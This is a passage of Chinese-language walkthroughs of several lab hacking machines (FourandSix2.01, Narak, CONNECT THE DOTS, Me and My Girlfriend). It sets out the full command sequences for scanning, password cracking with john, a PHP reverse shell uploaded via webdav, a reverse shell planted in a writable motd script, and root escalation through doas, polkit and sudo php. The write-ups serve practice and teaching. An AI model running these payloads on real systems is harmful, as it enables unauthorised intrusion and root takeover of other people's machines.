的ps文件，又因为这个ps文件链接了/bin/sh，故直接获得root权限。

# FourandSix2.01靶场

理论思路汇总，首先扫描c段确定靶机ip，然后端口扫描得知开放端口有2049nfs服务以及ssh服务还有rpc服务，根据优先级可以得知nfs是渗透最高的，于是showmount查看nfs的共享目录，发现有一个共享目录，于是挂载到一个目录上，里面有一个7z的压缩包，经过解压需要密码，于是使用7z2john将压缩包文件转换为hash值，使用john配合字典碰撞破解，得知压缩包的密码，使用密码解压出7z压缩包，里面有八个图片和两个疑似ssh公私钥文件，首先使用file确定八张是图片文件，使用binwalk也无捆绑文件，使用exiftool查看发现八张图片无隐写内容，于是查看公钥文件得知里面的用户名，ssh使用私钥文件进行免密登录，结果发现需要输入passphrase，而这个是私钥文件的加密密码，如果不知道将无法实现免密登录，于是使用ssh2john把私钥文件转换为hash，使用john进行碰撞破解，得知明文密码，于是再次ssh免密登录输入私钥文件的明文密码，即可免密登录。那么就获得了初始用户的shell,经过查看系统内核，得知是OpenBGD操作系统，这个一般不能使用sudo和crontab进行提权。那么就查看有哪些suid权限的命令，得知里面有一个doas命令是具有suid权限的，并且查看doas配置文件得知可以以doas执行less命令，而doas本身就类似sudo命令，于是使用less查看指定的文本文件，点击v进入编辑模式，然后使用:sh即可获得root的shell.

具体操作如下

扫描c段，确定靶机ip

nmap -sn 192.168.95.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.95.28

对开放端口的服务版本和操作系统进行探测

nmap -sT -sC -sV -O -p22,111,796,2049 192.168.95.28

对靶机的UDP端口进行扫描

nmap -sU -p22,111,796,2049 192.168.95.28

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p22,111,796,2049 192.168.95.28

根据开放的端口得知有一个nfs和ssh服务，那么根据优先级先对nfs共享服务进行渗透测试

查询NFS服务器的共享目录有哪些，结果发现一个共享目录

showmount -e 192.168.95.28

新建一个目录，并挂载这个共享目录,其中-t是指定挂载类型是NFS

mkdir 28

mount -t nfs 192.168.95.28:/home/user/storage 28

里面存放着一个7z后缀的文件，将其复制下来查看文件类型，并查看是否有捆绑，发现无捆绑

file backup.7z

binwalk backup.7z

解压这个7z文件，发现需要密码，由于不知道密码自然解压失败

7z x backup.7z

先把这7z文件生成对应的hash

7z2john backup.7z > backup7z\_hash

使用john破解,破解得到密码

johhn --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z\_hash

于是使用密码成功解压

7z x backup.7z

解压出来8张图片，和疑似的ssh公钥私钥

经过查看文件类型都是图片类型

file hello\*.\*

也发现所有图片并无捆绑

binwalk hello\*.\*

查看是否有隐写内容，也并无发现隐写内容

exiftool hello\*.\*

在使用file查看另外两个文件，发现一个是ssh公钥一个是ssh私钥文件

file id\_rsa id\_rsa.pub

查看公钥的内容发现了此用户的用户名

ssh使用私钥尝试免密登录,结果显示私钥id\_rsa本身还有passphrase，也就是说私钥被加密了，还要用密码对私钥进行解密，输错或者直接回车的话，会转变为密码登录ssh

ssh -i id\_rsa user@192.168.95.28

于是把这个私钥文件的密码破解出来，首先先把这个私钥文件转换成hash值

ssh2john id\_rsa >id\_rsa\_hash

然后使用john破解，于是破解出私钥加密的密码

john --wordlist=/usr/share/wordlists/rockyou.txt id\_rsa\_hash

于是再次尝试免密登录，输入私钥加密的密码，于是即可登录上去

ssh -i id\_rsa user@192.168.95.28

提权环节，先查找这个user可以用的文件

find / -group user -type f 2>/dev/null

查看有哪些suid权限的文件,发现doas具有suid权限，这是openBSD系统的提权方式

find / -perm -u=s -type f 2>/dev/null

查看可以执行的sudo命令，doas类似sudo，里面可以root用户执行less命令

cat /etc/doas.conf

使用less查看这个文件，点击v进入vi编辑模式，然后此时由于是root身份运行，所以在:!sh即可提权成功

doas /usr/bin/less /var/log/authlog

# Narak靶场

理论思路汇总，首先扫描c段确定靶机的ip,然后根据靶机ip扫描端口，得知只有80和22端口，于是先对80进行网页的访问，发现里面很多图片，分别下载下来使用exiftool查看是否有隐写内容，但是发现并没有，因为这个网页和源码并无有效信息，于是只能使用gobuster进行目录爆破，但是爆破只发现有价值的目录webdav，而该目录需要用户和密码才能登录，于是只能对这个站点进行更仔细的扫描，要指定一些文件后缀进行扫描，结果扫描出tips.txt文件，里面的内容提示说需要用到creds.txt文件才能够打开这个靶机的大门，然后在网页访问这个creds.txt发现并没有，说明没有那么容易找到，正当没有思路的时候，需要想到用UDP进行扫描，发现tftp可能是打开的，于是访问tftp，由于tftp是简陋版的ftp服务器，所以不具备列出文件的功能，于是只能get不存在的用户名看能否得知其他文件的名字，但经过尝试失败了，于是只能get creds.txt，结果是成功的，查看这个文件是base64编码的，对齐解码，得到用户名和密码，这个用户名和密码不能ssh登录，于是用于webdav于是成功的登录，使用davtest检测webdav的权限是可以上传php而且具备执行权限，于是上传反弹shell,配合kali监听获得初级用户的shell,接下来是提权环节，由于不知道密码所以sudo路线放弃，查看定时计划任务也无发现提权可能，然后查看网站根目录并无发现敏感文件，那么接下来就是新的提权思路，查找该用户可写的文件，结果找到一个hell.sh文件，里面有一串brainfuck的语言，使用beef解析得到一串密码，对passwd的用户依次尝试，登录到了其中一个用户，查看sudo也无提权可能，再根据原先的思路，查找该用户可写权限的文件有motd文件，而motd文件是当用户登录和ssh登陆时自动触发的，motd的作用是用于设置登陆的欢迎信息，于是在里面写入反弹shell，配合kali监听，于是重新使用ssh登录，即可以root的权限执行反弹shell，获得root的权限。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 192.168.28.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.28.23

对开放端口的服务版本和操作系统进行探测

nmap -sT -sC -sV -O -p22,80 192.168.28.23

对靶机的UDP端口进行扫描

nmap -sU -p22,80 192.168.28.23

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p22,80 192.168.28.23

根据优先级先对80端口进行渗透，访问这个网页，并无发现有效信息，于是进行目录扫描

gobuster dir -u http://192.168.28.23 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

首先访问/images里面全是图片,访问/webdav里面是一个登录框认证

由于此时不知道账号密码，也无渗透的可能，于是只能对站点进行更仔细的扫描，比如扫描出特定的文件后缀，这是目录爆破默认不会进行扫描的

扫描出一个tips.txt文件，里面只说creds.txt能够带来帮助，但是并没有说该文件在哪里

gobuster dir -u http://192.168.28.23 -x rar,zip,sql,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

于是只能对靶机常见的20个UDP端口进行扫描，发现tftp端口可能是开放的

nmap -sU --top-ports 20 192.168.28.23

于是尝试访问这个tftp服务

tftp 192.168.28.23

由于tftp不支持列出文件，所以可以尝试get一个不存在的文件，看能否列出其他的文件,但经过尝试发现不行

get dasdqw

于是根据之前的提示，把creds.txt看在不在tftp并下载下来，结果发现存在

get creds.txt

经过查看，发现这个文件具有base64编码，于是进行解码，里面是一个用户名和密码

cat creds.txt | base64 -d

使用这个用户名和密码进行ssh登录发现不行，然后再webdav尝试登陆，于是成功，但是这个dav里面啥都没有

于是使用davtest查看权限，发现php后缀具有执行权限

davtest -url http://192.168.28.23/webdav -auth yamdoot:Swarg

使用dav客户端去访问

cadaver http://192.168.28.23/webdav

写入反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.28.9/1234 0>&1'"); ?>

然后上传反弹shell到webdav

put /root/vulnhub/shell.php

kali建立监听，然后再webdav页面访问php即可得到shell

查找可以写的文件，但是文件过多需要过滤

find / -writable -type f 2>/dev/null

对一些路径进行过滤不查询

find / -writable -type f -not -path "/proc/\*" "/sys/\*" 2>/dev/null

其中查找的时候发现一个文件可能存在有用信息，于是进行查看,里面是brainfuck语言

cat /mnt/hell.sh

将brainfuck语言保存到一个hell.bf文件，然后解析里面的内容，得到一串类似密码的东西

beef hell.bf

于是查看用户名文件，将几个用户都进行尝试ssh登录，其中inferno用户可以登录

首先提权的话，sudo和定时计划任务发现都不行，也无找到敏感文件和suid权限可以提权的

于是继续查找哪些可写的文件，其中感觉motd目录有问题

find / -writable -type f -not -path "/proc/\*" -not -path "/sys/\*" -not -path "/var/\*" 2>/dev/null

于是访问motd目录，该目录存放的是motd的脚本，motd的作用在于本地登录或者ssh登录时得到一些欢迎信息，而这个是由motd完成的

cd /etc/update-motd.d

重点关注数字较低的脚本，于是重点关注00-header，由于具有写权限，于是在里面写入反弹shell

bash -c "bash -i >& /dev/tcp/192.168.28.9/4444 0>&1"

然后kali建立监听

nc -lvnp 4444

于是重新使用ssh登录该用户，即可触发反弹shell执行

ssh inferno@192.168.28.23

# CONNECT THE DOTS靶场

理论思路汇总，扫描c段确定靶机IP，根据靶机的ip扫描端口，检测其中的版本信息得知开放服务有ftp、nfs、ssh、web服务，首先先对ftp进行访问，发现不能匿名登陆于是放弃，然后访问nfs目录，发现里面有一个共享目录，且由于该目录是以/home共享，那么就得知了靶机有其中一个用户morris，挂载这个nfs的目录，发现里面存在一些目录，但是都没有权限不给访问，于是得不到什么有效信息，于是对web进行渗透，网站默认网页仅有几张图片，查看源码也无发现有效信息，所以只能目录爆破，访问/backups只是一个视频并无有效内容，访问/mysite里面存在几个文件，依次查看发现其中一个cs后缀的文件没见过很奇怪，查看得知里面有一堆乱码字符，经核查是jsfuck语言，该语言主要通过六个字符组成js的逻辑，所以把里面的无关字符清理掉，在网页搜寻jsfuck进行解码，得到类似密码的内容，里面密码的关键字中说可以尝试使用norris用户登录，使用该密码分别对root、morris、norris进行尝试，仅发现norris可以ssh登录，由于该用户的当前目录存在ftp目录，那么尝试使用该用户能够成功过登录ftp服务器，并把里面的文件下载下来，经过依次测试，发现其中里面的jpeg文件具有隐写内容，隐写的是一串莫尔斯码，网上搜寻一些莫尔斯解码，得到一段英文提示，里面提示说secretfile文件能够帮助到我们，于是使用find查找到这个文件，但是查看这个文件里面提示说有密码，但是提示信息到一半就结束了，使用ls -liah发现该文件存在swp文件，想要查看发现权限不够，但该文件在网站根目录下，于是使用wget下载到kali本地查看，使用strings发现关键字vim，那么说明是使用了vim编辑文件的时候异常退出，导致产生了这么个swp文件，于是使用vim -r去查看这个swp文件，能够查看里面编辑未保存的内容，经过查看里面存在一串密码，但是经过测试发现这个密码是morris用户的，于是继续使用提权，由于sudo和定时计划任务不行，那么就查找suid权限的文件，发现polkit-helper具有suid权限，polkit是linux系统中针对文件权限管理的一套机制，由于使用systemd开启伪终端的时候会触发polkit-helper进行文件权限的管理，所以开启伪终端的时候就会获得root的权限。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 192.168.28.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.28.45 -oA nmapscan/ports

由于开放端口过多，对扫描的端口进行标准化处理

tr 命令将换行符（\n 和 \r）替换为逗号

cat nmapscan/ports.nmap|grep open|awk -F '/' '{print $1}'|tr '\n\r' ','

对开放端口的服务版本和操作系统进行探测

nmap -sT -sC -sV -O -p21,80,111,2049,7822,39893,42357,52813,59773 192.168.28.45

对靶机的UDP端口常见的20个端口进行扫描进行扫描

nmap -sU --top-ports 20 192.168.28.45

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p21,80,111,2049,7822,39893,42357,52813,59773 192.168.28.45

首先根据这些服务的优先级，先对ftp进行渗透，但是不能够匿名登录

ftp 192.168.28.45

于是在对nfs共享服务进行渗透，查看发现有一个共享目录

showmount -e 192.168.28.45

于是挂载这个共享目录

mount -t nfs 192.168.28.45:/home/morris mo

经过查看发现里面只有.ssh中存放着有价值的信息，里面有公钥和私钥的文件

查看公钥文件得知这个用户是morris,使用私钥来进行免密登录，但发现仍然需要密码

ssh -i id\_rsa -p 7822 morris@192.168.28.45

于是访问网页，仅有两张图片，查看源码也无有效信息，于是尝试目录爆破

gobuster dir -u http://192.168.28.45 -w /usr/share/wordlists/directory-list-2.3-medium.txt

根据扫描的路径，访问/backups里面只有一个视频，/mysite里面可以访问一个注册网页，还有一个cs后缀文件存在一段奇怪的字符

根据发现其实这些看似杂乱的字符其实是jsfuck,jsfuck只用六个字符来表示js的逻辑

将里面无效的内容去除掉，保留着六个字符的内容，然后放到jsfuck网页去解析内容，里面得到一个类似密码的东西，并且提示可能是是norris的密码

经过对morris、root、norris进行ssh尝试，只有norris能够登录，于是获得初级用户的shell

由于提权环节sudo和定时计划任务无提权可能，于是查看敏感文件，因为存在ftp服务，所以先查看ftp服务里的文件内容，尝试使用这个账号密码可以登录到ftp

ftp 192.168.28.45

于是下载这些文件

binary

prompt

mget \*.\*

分别使用file查看这些文件的类型，其中一个文件是jpeg图片类型，于是使用exif查看是否有隐写内容，发现comment字段能感觉到是莫尔斯码

exiftool game.jpg.bak

于是网页搜寻莫尔斯码解码，于是解码出一些提示信息，说有个secretfile文件能够公开访问的，于是要想到web目录，或者说直接查找这个文件

find / -iname "secretfile" 2>/dev/null

查看这个文件，里面说有提示信息的，但是提示到一半信息没了，该目录下该文件的swp后缀的交换文件，但是无权限访问，但由于在web端，可以下载kali进行访问

查看该文件,里面存在vim等关键字信息

strings .secretfile.swp

接下来科普一下这个.swp文件，vim编辑文件会自动生成swp临时文件,用于保存编辑过程中尚未保存的更改，当用户编辑时非正常退出，会有这个swp文件保留下来

于是使用vim去查看编辑时还未保存的swp文件,发现里面具有一串类似密码的字符

vim -r .secretfile.swp

于是对root和morris用户挨个尝试，发现morris可以登录

su morris

接下来就拥有两个用户，首先还是看看norris是否可以提权，sudo和计划任务确定无法提权，所以尝试新的提权可能，使用getcap查找具有特殊权限的可执行文件

/sbin/getcap -r / 2>/dev/null

发现tar具有特殊的高权限,于是可以演示一个骚操作，把整个root目录打包下来

tar -zcvf root.tar.gz /root

然后解压出来，这样可以直接获得root的flag，但是真实比赛是不认可的

tar -zxvf root.targ.gz

所以只能继续提权，搜寻suid权限的文件,发现polkit-helper具有suid权限

find / -perm -u=s -type f 2>/dev/null

而systemd-run是会触发polkit-helper来处理权限提升，又因为polkit-helper具有suid权限，于是提权成功

systemd-run =-t /bin/bash

# Me and My Girlfriend靶场

理论思路汇总，首先扫描c段确定靶机ip，于是对靶机进行端口扫描，发现80端口是开放的，于是进行访问里面的网页存在一段话，说只能使用本地才能够访问该网页，查看里面的源码信息，注释中提示可以使用XFF，接下来紧接着对网站进行目录爆破，经过查看只有/config和/misc能够访问，里面各有一个php文件，但是访问并无任何内容，所以回到XFF这个提示，XFF的作用是设置源端是谁，那么可以伪造成源端是localhost，这样就能够访问网页的内容，所以只能在bp的proxy模块中的option中的match and replace进行设置，这样每次访问网站都会加上XFF字段，那么设置之后确实可以访问这个网页，该网页内部存在一个注册和登陆的功能，于是注册一个账号然后登录进去，发现访问里面的页面会携带id参数，可以发现调整id的值会回显出其他用户的账号和密码，由于新注册的账户id是12，于是对前面11个用户的账户和密码进行ssh登录，于是发现其中一个用户能够登录，提权环节下，查看sudo发现里面能执行php，那么php就使用system函数执行/bin/bash就能提权到root了。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 192.168.28.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.28.51

对开放端口的服务版本和操作系统进行探测

nmap -sT -sC -sV -O -p22,80 192.168.28.51

对靶机的UDP端口常见的20个端口进行扫描进行扫描

nmap -sU --top-ports 20 192.168.28.51

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p22,80 192.168.28.51

于是访问网页，里面只有一段文字说该靶机只能被本地访问

查看源码上提示说可以使用xff转发

然后先对网站进行目录扫描

gobuster dir -u http://192.168.28.51 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问/misc里面存在一个php文件，/config里面也有一个php文件

接下来仔细的进一步扫描，指定文件后缀，扫描出robots.txt

gobuster dir -u http://192.168.28.51 -x txt,sql,rar,zip,tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问该文件里面显示另一个文件heyhoo.txt,也没说啥有效信息

接下来根据之前提示设置XFF，由于每次都要抓包然后添加x-forwarded-for:localhost比较麻烦，所以要在bp做设置

在proxy模块中的options选项的match and replace添加规则，在里面的replace填入x-forwarded-for:localhost，这样每次请求都会添加这一段内容

此时再次访问网页即可得到新内容,里面有注册和登录功能，于是注册一个账户然后登录

发现登陆后里面有id的参数能够注入，当改变id的值，会回显出其他的账号和密码，密码虽然是明文，但是可以通过f12查看

由于注册的新账号是id为12，那么把前面11个用户的账号和密码都拿来ssh尝试，结果只发现alice账户是能够ssh登陆的

ssh alice@192.168.28.51

如果靶机出现问题，那么就导入环节变量

export TERM=xterm-color

那么接下来sudo发现能执行php命令，那么直接就能提权了

sudo /usr/bin/php -r "system('/bin/bash');"